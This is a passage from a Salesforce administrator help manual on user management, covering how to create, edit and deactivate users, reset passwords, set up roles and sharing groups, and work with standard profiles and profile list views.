Custom labels enable you to create multilingual applications by presenting information (for example, help text or error messages) in a user's native language. Additionally, custom labels are custom text values that can be accessed from Apex classes or Visualforce pages. Custom label values can be translated into any language that Salesforce supports. See Creating and Editing Custom Labels on page 1814.

Setting up International Organizations to Use Multiple Currencies


Salesforce provides multi-currency support for opportunity management, forecasting, and reporting. When you set up international organizations to use multiple currencies, each international division can track, forecast, and report on opportunities in local currencies, while providing company-wide reporting and forecasting in a single common currency. See International Organizations: Using Multiple Currencies.

Setting up Salesforce Knowledge to Support Multiple Languages


Salesforce Knowledge is a knowledge base in which users can easily create and manage content, known as articles, and quickly find and view the articles they need. You can translate articles into multiple languages so that customers and support agents can find content in their preferred languages. See Setting up a Multilingual Knowledge Base on page 1568.

USER MANAGEMENT
User Management Overview
The available user management options vary according to which Salesforce Edition you have.

In Salesforce, every user is identified by a username, password, and a single profile. The profile determines what tasks users can perform, what data they see, and what they can do with the data. Depending on your organization's Salesforce edition and the additional features your organization has purchased, you may have user licensessuch as Marketing, Connect Offline, and Sales Anywherewhich give users the ability to access other features that are only available with a specific user license. A user can be assigned to one or more of these licenses. You can also set up accounts for users outside your organization who need to access a limited set of fields and objects. These user licenses can grant access to Customer Portal, partner portal, or Self-Service. Finally, using Salesforce to Salesforce, you can create connections to share records with other Salesforce users outside of your organization.

507

User Management

Viewing and Managing Users

Note: Starting with Spring 12, the Self-Service portal isnt available for new organizations. Existing organizations continue to have access to the Self-Service portal. As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and creating Google Apps accounts. You can also grant permissions, create and manage other types of users, create custom fields, set custom links, run reports on users, and delegate user administration tasks to other users. You can control a user's access to data in several ways: To control access to applications and objects, including fields and record types within objects, use profiles and permission sets. To control access to specific records, use sharing settings and rules.

See Also:
Overview of User Permissions and Access User Profiles Overview Permission Sets Overview Overview of Sharing Settings Securing Data Access

Viewing and Managing Users


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions Customer Portal and partner portals are not available in Database.com

User Permissions Needed To view user lists : View Setup and Configuration

To view and manage the users in your organization, click Your Name > Setup > Manage Users > Users. The user list shows all the users in your organization, partner portal, and Salesforce Customer Portal. From the user list, you can: Show a filtered list of users by selecting a list from the View drop-down list. Edit or create custom list views. For example, create a view with search criteria of Profile Name equals Read Only to show all users with the Read Only profile. Create one user. Create multiple users. Reset passwords for selected users. Edit a user. View a user's detail page by clicking the name, alias, or username. View or edit a profile by clicking the profile name. Export users to Google and create Google Apps accounts (if Google Apps is enabled in your organization).

508

User Management

Viewing and Managing Users

To create other types of users, see: Enabling the Customer Portal for Contacts and Person Accounts on page 203 Self-Service for Contacts and Person Accounts on page 200 Creating Partner Users on page 3708

Tips for Managing Users


You can create custom fields for users and set custom links to display on the user detail page. To access these options, click Your Name > Setup > Customize > Users. You can use the sidebar search to search for any user in your organization, regardless of the user's status. However, when using a lookup dialog from fields within records, the search results return only active users. You can also run user reports in the Reports tab. To simplify user management in organizations with large numbers of users, delegate aspects of user administration to non-administrator users. Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal users. However, you can delegate some portal administrative duties to portal users.

See Also:
Expiring Passwords Deactivating Users Logging In as Another User Granting Checkout Access Setting Quotas for Customizable Forecasting Assigning Users to Roles User Fields Editing Your Personal Information About Customer Portal User Management

Adding a Single User


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create new users: Manage Users

The maximum number of users you can create is determined by your Edition. To create a new user for your organization: 1. Click Your Name > Setup > Manage Users > Users. 2. Click New User.

509

User Management

Viewing and Managing Users

3. Enter the users first name, last name, and email address. The email address becomes the username. Note: If the user's name includes non-English characters, the user must add the specified language to the mail format settings within Outlook if viewing email in Outlook. 4. In Professional, Enterprise, Unlimited, and Developer Editions, select a Role. Depending on your organizations sharing settings, roles can specify the level of visibility that users have into your organizations data. 5. Select a User License. The profiles available to you depend on the user license you choose. Note: Some options become unavailable depending on the license type you choose. For example, the Marketing User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts and Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available for Professional, Group, or Contact Manager Editions. You can change a Salesforce license to a Force.com license, but you cant change a Force.com license to a Salesforce license.

6. Select a profile, which specifies the user's minimum permissions and access settings. 7. Select the other options and enter the remaining user information as needed. 8. If your organization has Approvals enabled, you can set the user's approver settings, such as delegated approver, manager, and preference for receiving approval request emails. 9. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send email to the user when an application that invokes Apex uses more than half of the resources specified by the governor limits. This feature can be used during Apex code development to test the amount of resources being used at runtime. 10. Check Generate new password and notify user immediately to have the users login name and a temporary password emailed to the new user. Temporary passwords for new users dont expire, but users must change their password the first time they log in. To create other types of users: For Salesforce Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page 203. For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 200. For partner users, see Creating Partner Accounts on page 3705.

See Also:
User Fields Understanding User License Types User Profiles Overview Adding Multiple Users Deactivating Users

510

User Management

Viewing and Managing Users

Adding Multiple Users


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create new users: Manage Users

The maximum number of users you can create is determined by your Edition. The Add Multiple Users page provides a way to quickly add users to your organization. Depending on the number of available licenses, you can create up to 10 users. With this page, you specify the minimum information needed. Once youve created the users, edit individual users to specify more details for each one. To add multiple users: 1. Click Your Name > Setup > Manage Users > Users. 2. Click Add Multiple Users. 3. If multiple user license types are available in your organization, select the user license you want to associate with the users youll create. The user license determines the available profiles. If only one type of license is available, its automatically selected. 4. Specify the information for each user. Field First Name Last Name Email (User Name) Profile Role Description The users first name. The users last name. The users email address. The email address entered here becomes the username. Specifies the user's minimum permissions and access settings. If roles are set up for your organization, specifies the level of visibility that the user has into your organizations data.

5. Select Generate passwords and notify user via email to email a login name and temporary password to each new user. Temporary passwords for new users dont expire, but users must change their password the first time they log in. 6. Click Save.

See Also:
Understanding User License Types User Profiles Overview Adding a Single User

511

User Management

Viewing and Managing Users

Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit users: Manage Users

To view or edit user information: 1. Click Your Name > Setup > Manage Users > Users. You can also edit your organization's users from the Users in Role related list in the role detail page. 2. Click Edit next to a users name. 3. Change the settings as needed. For details, see User Fields on page 32. Additionally, be aware of the following behaviors and options when editing a user. If you change a users email address and Generate new password and notify user immediately is deselected, a confirmation message will be sent to the new email address that you entered. The user must click the link provided in that message for the new email address to take effect. This process ensures system security. When generating a new password for a user, the new password is automatically sent to the users email address and email verification is not enforced. If you change a user's username, a confirmation email with a login link is sent to the email address associated with that user account. If the user has problems logging into future sessions, they can use the link in the email. Problems might occur because an organization could have multiple login servers. It may take up to 24 hours for the username change to replicate to all of them. The link in the email connects directly to the server where the actual username change was made. This ensures that users can always log in, even if server replication is slow. Click Unlock to unlock a user that is locked out of Salesforce. This button is only available when a user is locked out. If your organization has managed packages installed, click Assign Licenses to assign a package license to the user. Click Remove to remove a license assigned to the user. Click Grant Checkout Access to grant the user access to Checkout.

4. Click Save. Note: Users can change or add to their own personal information after they log in.

512

User Management

Viewing and Managing Users

Administrators can restrict the domain names of users email addresses to a list of explicitly allowed domains. Any attempts to set an email address with another domain will result in an error message. Contact salesforce.com to enable this functionality for your organization.

See Also:
Assigning Users to Roles Resetting Passwords Viewing and Managing Users Understanding User License Types About Customer Portal User Management

Viewing the Public Group Membership Related List


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view user details: View Setup and Configuration

To view the public groups a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In the Public Group Membership related list, you can: Click New Group to create a public group. Click a public group name to view its details.

See Also:
About Groups

Viewing the Queue Membership Related List


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view user details: View Setup and Configuration

To view the queues a user is a member of, click Your Name > Setup > Manage Users > Users and select the user. In the Queue Membership related list, you can:

513

User Management

Viewing and Managing Users

Click New Queue to create a queue. Click a queue name to view its details.

See Also:
Managing Queues

Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To deactivate users: Manage Users

You can't completely delete users from the system, but you can deactivate their logins so that they can no longer use the service. 1. Click Your Name > Setup > Manage Users > Users. 2. Click Edit next to a users name. 3. Deselect the Active checkbox and click Save. If the user is a member of account, opportunity, or case teams, Salesforce prompts you to remove the user from those teams. Tips on Deactivating Users Consider the following when deactivating users: Deactivated users lose access to any records that were manually shared with them, or records that were shared with them as team members. However, you can still transfer their data to other users and view their names on the Users page. Deactivated users are removed from the default opportunity and account teams of other users. The deactivated users' default opportunity and account teams are not removed. If a user on an account team has Read/Write access (Account Access, Contact Access, Opportunity Access, and Case Access) and is deactivated, the access will default to Read Only if the user is reactivated. Deactivated users continue to own opportunities and appear in forecasts and territories. When users are deactivated, their opportunity forecast overrides, adjusted total overrides, and manager's choice overrides on subordinates' forecasts are frozen. However, the manager of a deactivated user can apply manager's choice overrides to that user's forecasts. Rollup amounts are kept current. If a deactivated user is later reactivated, the user can resume normal work as before. If Allow Forecasting is disabled for a user who is deactivated, the user is removed from any territories her or she is assigned to. For more information on territories, see Territory Management Overview on page 2773. A deactivated user doesn't count against your organizations available user licenses. However, deactivating a user doesn't reduce the number of licenses for which your organization is billed; you must change your organizations license count to change your billing. See Adding or Subtracting User Licenses on page 3723. You can't deactivate a user selected as a Customer Portal Administrator. For more information, see Enabling Customer Portal Login and Settings on page 1758. You can't deactivate a user selected in a custom hierarchy field even if you delete the field. You must delete and permanently erase the field first. For more information, see Managing Deleted Custom Fields on page 1126.

514

User Management

Viewing and Managing Users

When a delegated portal user administrator deactivates a portal user, the administrator doesn't have the option to remove the portal user from any teams that user is a member of. If opportunity splitting is enabled and a user is deactivated, the user is not removed from any opportunity teams on which the user is assigned a split percentage. To remove the user from the opportunity team, you must first reassign the split percentage. For more information on assigning split percentages to opportunity team members, see Adding Members to an Opportunity Team on page 2765. If Chatter is enabled and you deactivate a user, the user is removed from Following and Followers lists. If you reactivate the user, the subscription information in the Following and Followers lists is restored. Subscription information cant be restored if you deactivate multiple users that are following each other. For example, user A follows user B and user B follows user A. If you deactivate user A and user B, their subscription information to each other is deleted from Following and Followers lists and cant be restored if you reactivate the users.

It's possible for inactive users to be listed as Created By users even though they are no longer active in an organization. This can happen because some system operations create records and toggle preferences, acting as an arbitrary administrator user in your organization to complete the task. This user may be active or inactive. You cant deactivate a user if theyre assigned as the sole recipient of a workflow email alert.

See Also:
Mass Transferring Records Adding a Single User Editing Users Viewing and Managing Users Disabling and Deactivating Portal Users

Resetting Passwords
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To reset passwords: Reset Passwords and Unlock Users

To reset a users password: 1. Click Your Name > Setup > Manage Users > Users. 2. Select the checkbox next to the users name. Optionally, to change the passwords for all currently displayed users, check the box in the column header to select all rows. 3. Click Reset Password to have a new password emailed to the user. A password created this way doesnt expire, but users must change the password the first time they log in. Tips on Resetting Passwords Consider the following when resetting passwords: Only an administrator can reset Single Sign-On user passwords; Single Sign-On users cannot reset their own passwords.

515

User Management

Viewing and Managing Users

Resetting users' passwords might cause them to activate their computers to successfully log in to Salesforce. Resetting locked-out users' passwords automatically unlocks their accounts as well. When users lose their passwords, they can click the Forgot your password? link on a failed login page to receive a new password via email. They must correctly answer a previously defined security question before they can reset their password and log in. You can customize part of the page where the user answers the security question with additional information about where to go to for help. Note: If the user has not defined a security question, or fails to answer correctly when trying to login, the password is not reset.

See Also:
Expiring Passwords Viewing and Managing Users Activating Your Computer Setting Password Policies

Expiring Passwords
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To expire all passwords: Manage Users

To expire passwords for all users, except those with the Password Never Expires permission: 1. Click Your Name > Setup > Security Controls > Expire All Passwords. 2. Select the Expire all user passwords checkbox. 3. Click Save. The next time each user logs in, he or she will be prompted to reset his or her password. Tips on Expiring Passwords Consider the following when expiring passwords: After you expire passwords, users might need to activate their computers to successfully log in to Salesforce. See Activating Your Computer on page 44. You can expire passwords for all users any time you want to enforce extra security for your organization. For more options you can set to ensure password security, see Setting Password Policies on page 674.

See Also:
Resetting Passwords

516

User Management

Viewing and Managing Users

Logging In as Another User


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To log in as another user who has granted you access: Modify All Data

To assist other users, administrators can log in to Salesforce as another user. Depending on your organization settings, individual users may need to first grant login access to administrators. To log in as another user: 1. Click Your Name > Setup > Manage Users > Users. 2. Click the Login link next to the user name. This link is only available for users who have granted login access to an administrator, or in organizations where administrators can log in as any user. 3. Click Users Name > Logout to return to your administrator account. Note: You can also log in as another user from the user detail page and the Users in Role list page.

See Also:
Viewing and Managing Users

Granting Checkout Access


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To grant Checkout access: To edit users: Manage Billing Manage Users

Users with the Manage Billing permission have access to Checkout when it is enabled for your organization. These users can also grant access to other users within your organization. Users with Checkout access can purchase Salesforce licenses, AppExchange app licenses, and other related products. Additionally, within Checkout, users can view the organization's quotes, installed products, orders, invoices, payments, and contracts. To give a user access to Checkout: 1. Click Your Name > Setup > Manage Users > Users.

517

User Management

Viewing and Managing Users

2. Click on the appropriate user's name to open the user detail page. 3. Click Edit. 4. Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated and available for login.

Setting Quotas for Customizable Forecasting


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed To set your quota: To set any users quota: Edit Personal Quota Manage Users

Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy. 1. To set your personal quota, click Your Name > Setup > My Personal Information > Personal Information. To change the quota of a user that reports to you, click Your Name > Setup > Manage Users > Users, and select the appropriate user. 2. Click Edit in the Quotas related list. 3. Select the appropriate range start and range length. If available, select a territory and product family. Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined fiscal year. 4. Enter the quota amounts for revenue and/or quantity. 5. Select the appropriate currency if you work with more than one currency. 6. Click Save to save the quota and return to the user detail page, or click Quick Save to save the values and continue to edit the quota. Tip: Using Quick Save allows you to quickly set a different quota for each product family.

Note: If these options are not available to you, you may not have customizable forecasting. To determine if your organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 2624. For information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page 46.

518

User Management

Overview of Roles

You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value on the RevenueForecast or QuantityForecast objects.

See Also:
Viewing and Managing Users

Overview of Roles
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create, edit, and delete roles: To assign users to roles: Manage Users Manage Users

Note:

Who Sees What: Record Access via the Role Hierarchy (7:29 minutes)

Watch how you can open up access to records using the role hierarchy if your organization-wide defaults are more restrictive than Public Read/Write. Depending on your sharing settings, roles can control the level of visibility that users have into your organizations data. Users at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless your organizations sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted access by the organization-wide defaults receive access to the object's records. Note: The following information applies to roles for your organization's users. For information about roles for partner users and Salesforce Customer Portal users, see About Partner Portal Channel Manager User Management on page 3702 and About Customer Portal User Management on page 1783.

Working with Roles


To view and manage your organization's roles, click Your Name > Setup > Manage Users > Roles. Choose one of the following list view options: Show in tree view See a visual representation of the parent-child relationships between your roles. Click Expand All to see all roles, or Collapse All to see only top-level roles. To expand or collapse an individual node, click the plus (+) or minus (-) icon. Show in sorted list view See a list that you can sort alphabetically by role name, parent role (Reports to), or report display name. If your organization has a large number of roles, use this view for easy navigation and filtering.

519

User Management

Overview of Roles

To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Show in list view See a list of roles and their children, grouped alphabetically by the name of the top-level role. The columns are not sortable. This view is not available for hierarchies with more than 1,000 roles. To create a role, click New Role or Add Role, depending whether you are viewing the list view or tree view of roles, then edit the role fields as needed. You can create up to 500 roles for your organization. To edit a role, click Edit next to a role name, then update the role fields as needed. To delete a role, click Delete next to the role name. To assign other users to a role, click Assign next to the role name. To view detailed information about a role, click a role name. If you are a Salesforce Knowledge user, you can modify category visibility settings on the role detail page. Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to manage users in specified roles and all subordinate roles.

Notes on Roles
Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather than the role hierarchy. All users that require visibility to the entire organization should belong to the highest level in the hierarchy. It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles to control access of information entered by users in lower level roles. When you change a users role, any relevant sharing rules are evaluated to add or remove access as necessary. When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is No Access. Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.

See Also:
Viewing and Editing Roles Setting Up Your Customer Portal Managing Data Categories Salesforce Knowledge Overview

520

User Management

Overview of Roles

Viewing and Editing Roles


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view role details: To edit and delete roles: To view users: To edit users: View Setup and Configuration Manage Users View Setup and Configuration Manage Users

To view detailed information about a role, click Your Name > Setup > Manage Users > Roles, and click the role name. In the Role Detail related list: To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list. To edit the role details, click Edit. To remove the role from the hierarchy, click Delete.

In the Users in Role related list: To assign a user to the role, click Assign Users to Role. To add a user to your organization, click New User. To modify user information, click Edit next to a user name. To view a user's details, click the user's full name, alias, or username. When Active is selected, the user can log into Salesforce. Deactivated users, such as employees who are no longer with your company, cannot log in to Salesforce. In the Category Group Visibility Settings, you can: Click a category group to view its setting details. Click Edit next to a category group to modify its visibility settings. Note: When you edit groups, roles, and territories, sharing rules are usually automatically reevaluated to add or remove access as needed. If these changes affect too many records at once, a message appears warning that the sharing rules won't be automatically reevaluated, and you must manually recalculate them.

See Also:
Recalculating Sharing Rules Overview of Roles Role Fields Managing Data Categories

521

User Management

Overview of Roles

Assigning Users to Roles


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To assign users to roles: Manage Users

To quickly assign users to a particular role: 1. Click Your Name > Setup > Manage Users > Roles. 2. Click Assign next to the name of the desired role. Note: You can also access this page by clicking Assign Users to Role from the Users in Role related list.

3. Make a selection from the drop-down list to show the available users. 4. Select a user on the left, and click Add to assign the user to this role. Note: Removing a user from the Selected Users list deletes the role assignment for that user.

See Also:
Role Fields Overview of Roles Viewing and Editing Roles

Role Fields
Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create or edit roles: Manage Users

The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable depending on your organization's permissions and sharing settings.

522

User Management

Overview of Roles

Field
Case Access

Description Specifies whether users can access other users cases that are associated with accounts the users own. This field is not visible if your organizations sharing model for cases is Public Read/Write. Specifies whether users can access other users contacts that are associated with accounts the users own. This field is not visible if your organizations sharing model for contacts is Public Read/Write or Controlled by Parent. The name used to refer to the role or title of position in any user interface pages, for example, Western Sales VP. The name of the user who last modified this role's details, and the date and time that the role was modified. Specifies whether users can access other users opportunities that are associated with accounts the users own. This field is not visible if your organizations sharing model for opportunities is Public Read/Write. Indicates whether this role is associated with a partner account. This field is available only when a Customer Portal or partner portal is enabled for the organization. If this checkbox is selected, you cannot edit the role. The default number of roles in portal accounts is three. You can reduce the number of roles or add roles to a maximum of three.

Contact Access

Label

Modified By

Opportunity Access

Partner Role

Role Name

The unique name used by the API and managed packages. The name must begin with a letter and use only alphanumeric characters and underscores. The name cannot end with an underscore or have two consecutive underscores. A role name that appears in reports. When editing a role, if the Role Name is long, you can enter an abbreviated name in this field. These groups are automatically created and maintained. The Role group contains all users in this role plus all users in roles above this role. The Role and Subordinates group contains all users in this role plus all users in roles above and below this role in the hierarchy. The Role and Internal Subordinates group (available if Customer Portals or partner portals are enabled for your organization) contains all users in this role plus all users in roles above and below this role, excluding Customer Portal and partner portal users.

Role Name as displayed on reports

Sharing Groups

523

User Management

Overview of Roles

Field
This role reports to

Description The role above this role in the hierarchy.

See Also:
Assigning Users to Roles Overview of Roles

Viewing Role and Territory Sharing Groups


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions Territories are not available in Database.com

User Permissions Needed To view users: To edit users: View Setup and Configuration Manage Users

For each role in your hierarchy Salesforce automatically creates sharing groups, which you can use in sharing rules and manual sharing: Roleusers in the role plus users in roles above it in the hierarchy Role and Subordinatesusers in the role plus users in roles above and below it in the hierarchy Role and Internal Subordinatesusers in the role, plus users in roles above and below it in the hierarchy, excluding Customer Portal or partner portal users. This group is visible only if Customer Portals or partner portals are enabled for your organization.

If territory management is enabled for your organization, each territory has sharing groups: Territoryusers in the territory plus users in territories above it in the hierarchy Territory and Subordinatesusers in the territory plus users in territories above and below it in the hierarchy Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults. To view sharing group members: 1. For roles, click Your Name > Setup > Manage Users > Roles. For territories, click Your Name > Setup > Manage Territories > Hierarchy. 2. Click the role or territory name. 3. Click a link in the Sharing Groups field.

524

User Management

User Profiles Overview

From this page, you can view detailed user information, edit user information, and access related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Edit next to a username to edit the user information. Click Login next to a username to log in as that user. This link is only available for users who have granted login access to an administrator, or in organizations where administrators can log in as any user.

See Also:
Role Fields

Viewing Users in Role Lists


Available in: Professional, Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To view users: To edit users: View Setup and Configuration Manage Users

The Users in Role list page displays a list of users assigned to the selected role. From this page, you can view detailed user information, edit users, and access other related information. To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit. Click Edit next to a user name to edit the user information. Click Login next to a user name to log in as that user. This link is only available for users who have granted login access to an administrator, or in organizations where administrators can log in as any user.

See Also:
Overview of Roles

User Profiles Overview


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

A profile contains user permissions and access settings that control what users can do within their organization.

525

User Management

User Profiles Overview

Note:

Who Sees What: Object Access (5:51 minutes)

Watch how you can grant users access to objects using profiles. Depending on which profile user interface is enabled in your organization, you can: View and edit profiles in the enhanced profile user interface View and edit profiles in the original profile user interface

You can also use a list view to edit multiple profiles. Profiles control: Which standard and custom apps users can view Which tabs users can view Which record types are available to users Which page layouts users see Object permissions that allow users to create, read, edit, and delete records Which fields within objects users can view and edit Permissions that allow users to manage the system and apps within it Which Apex classes and Visualforce pages users can access Which desktop clients users can access The hours during which and IP addresses from which users can log in Which service providers users can access (if Salesforce is enabled as an identity provider) Note: Chatter customers (users with the Chatter External User profile) can only see groups they belong to and people in those groups; they can't see any Salesforce information. If your organization uses a custom domain or IP restrictions, it's recommended that users with the Chatter External User log in using single sign-on on page 681. In Contact Manager, Group, and Professional Edition organizations, you can assign standard profiles to your users, but you can't view or edit the standard profiles or create custom profiles. In Enterprise, Unlimited, and Developer Edition organizations, you can use standard profiles, or create, edit, and delete custom profiles. For standard profiles, only certain settings can be changed. Each standard or custom profile belongs to exactly one user license type.

See Also:
Overview of User Permissions and Access Standard Profiles Understanding User License Types Cloning Profiles

526

User Management

User Profiles Overview

Standard Profiles
The standard profiles available vary according to the Edition you have.

There are standard profiles in every organization. In Enterprise, Unlimited, and Developer Edition, you can use standard profiles or create, edit, and delete custom profiles. In organizations where you can't create custom profiles (such as Contact Manager, Group, and Professional Edition), you can assign standard profiles to your users, but you can't view or edit them. Profile Name System Administrator Available Permissions Can configure and customize the application. Has access to all functionality that does not require an additional license. For example, administrators cannot manage campaigns unless they also have a Marketing User license. Can manage price books and products. Can edit any quota, override forecasts, and view any forecast. Can use custom Force.com AppExchange apps developed in your organization or installed from AppExchange. In addition, can use core platform functionality such as accounts, contacts, reports, dashboards, and custom tabs. For more information on Salesforce Platform user licenses, see Understanding User License Types on page 610. Can use one custom AppExchange app developed in your organization or installed from AppExchange. The custom app is limited to five tabs. In addition, can use core platform functionality such as accounts, contacts, reports, dashboards, and custom tabs. Can create and edit most major types of records, run reports, and view the organization's setup. Can view, but not manage, campaigns. Can create, but not review, solutions. Can edit personal quota and override forecasts. Can only log in via a partner portal. Can only log in via a Customer Portal. For more information, see About High-Volume Portal Users (Service Cloud Portal Users) on page 1789

Standard Platform User

Standard Platform One App User

Standard User

Partner User High Volume Customer Portal and Authenticated Website Both user licenses are high-volume portal users Customer Portal User

Can only log in via a Customer Portal. Can view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field.

527

User Management

User Profiles Overview

Profile Name Customer Portal Manager

Available Permissions Can only log in via a Customer Portal. Can view and edit data they directly own or data owned by or shared with users below them in the Customer Portal role hierarchy; and they can view and edit cases where they are listed in the Contact Name field. Can review and publish solutions. Also has access to the same functionality as the Standard User. Can manage campaigns, import leads, create letterheads, create HTML email templates, manage public documents, and update campaign history via the import wizards. Also has access to the same functionality as the Standard User. Can create, edit, activate, and approve contracts. This profile can also delete contracts as long as they are not activated. Can edit personal quota and override forecasts. Can view the organization's setup, run and export reports, and view, but not edit, other records. Can only log in to Chatter. Can access all standard Chatter people, profiles, groups, and files. Additionally, they can: View Salesforce accounts and contacts Use Salesforce CRM Content, Ideas, and Answers Modify up to ten custom objects Note: You must expose the tabs for the standard Salesforce objects that the Chatter Only user profile can access, as they are hidden by default for these users. Professional Edition organizations must have Profiles enabled to perform these tasks. Contact your sales representative for more information. Only available with the Chatter Only user license.

Solution Manager Marketing User

Contract Manager

Read Only Chatter Only User

Chatter Free User

Can only log in to Chatter. Can access all standard Chatter people, profiles, groups, and files. Only available with the Chatter Free user license.

Chatter External User

Can only log into Chatter and access groups they've been invited to and interact with members of those groups. Only available with the Chatter External user license. Can only log in to Chatter. Can access all standard Chatter people, profiles, groups, and files. Additionally, this user can: Activate and deactivate other Chatter Free users and moderators

Chatter Moderator User

528

User Management

User Profiles Overview

Profile Name

Available Permissions Grant and revoke moderator privileges Delete posts and comments that they can see Note: Changing a user's profile from Chatter Moderator User to Chatter Free User removes moderator privileges in Chatter. What is a Chatter moderator and who can be one? Only available with the Chatter Free user license.

Site.com Only User

Can only log in to the Site.com app. Each Site.com Only user also needs a Site.com Publisher feature license to create and publish sites, or a Site.com Contributor feature license to edit the site's content. See Setting Up Site.com Users on page 2365. Additionally, this user can: Use one custom app with up to 20 custom objects Access the Content app, but not the Accounts and Contacts objects Create unlimited custom tabs

Only available with the Site.com Only user license.

See Also:
User Profiles Overview About Customer Portal User Management Overview of User Permissions and Access

529

User Management

User Profiles Overview

Viewing Profile Lists


Available in: Enterprise, Unlimited, Developer, and Database.com Editions The Customer Portal and partner portals are not available in Database.com

User Permissions Needed To view profiles, and print profile lists: To delete profile list views: To delete custom profiles: View Setup and Configuration Manage Users Manage Users AND Customize Application

A profile contains user permissions and access settings that control what users can do within their organization. To view the profiles in your organization, click Your Name > Setup > Manage Users > Profiles. Viewing Enhanced Profile Lists If enhanced profile list views are enabled for your organization, you can use additional tools to customize, navigate, manage, and print profile lists. Show a filtered list of profiles by selecting a view from the drop-down list. Delete a view by selecting it from the drop-down list and clicking Delete. Create a list view or edit an existing view. Create a profile. Print a list view. Refresh the list view after creating or editing a view by clicking Edit permissions directly in the list view. View or edit a profile by clicking its name. Delete a custom profile by clicking Del next to its name. .

Viewing the Basic Profile List Create a profile. View or edit a profile by clicking its name.

530

User Management

User Profiles Overview

Delete a custom profile by clicking Del next to its name.

See Also:
User Profiles Overview Creating and Editing Profile List Views Working in the Enhanced Profile User Interface Overview Page Working with Profiles in the Original Profile Interface Customizing User Interface Settings

Creating and Editing Profile List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To create, edit, and delete profile list views: Manage Users

If enhanced profile list views are enabled for your organization, you can create profile list views to show a set of profiles with the fields you choose. For example, you could create a list view of all profiles in which Modify All Data is enabled. 1. In the Profiles page, click Create New View, or select a view and click Edit. 2. Enter the view name. 3. Under Specify Filter Criteria, specify the conditions that the list items must match, such as Modify All Data equals True. a. b. c. d. Type a setting name, or click the lookup icon to search for and select the setting you want. Choose a filter operator. Enter the value that you want to match. To specify another filter condition, click Add New. You can specify up to 25 filter condition rows. To remove a filter condition row and clear its values, click the remove row icon . 4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view. a. From the Search drop-down list, select the type of setting you want to search for. b. Enter part or all of a word in the setting you want to add and click Find. Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search criteria and show fewer results. c. To add or remove columns, select one or more column names and click the Add or Remove arrow. d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want. You can add up to 15 columns in a single list view.

531

User Management

User Profiles Overview

5. Click Save, or if you're cloning an existing view, rename it and click Save As.

See Also:
User Profiles Overview Editing Multiple Profiles with Profile List Views Viewing Profile Lists Deleting List Views

Editing Multiple Profiles with Profile List Views


Available in: Enterprise, Unlimited, Developer, and Database.com Editions

User Permissions Needed To edit multiple profiles from the list view: Manage Users AND Customize Application

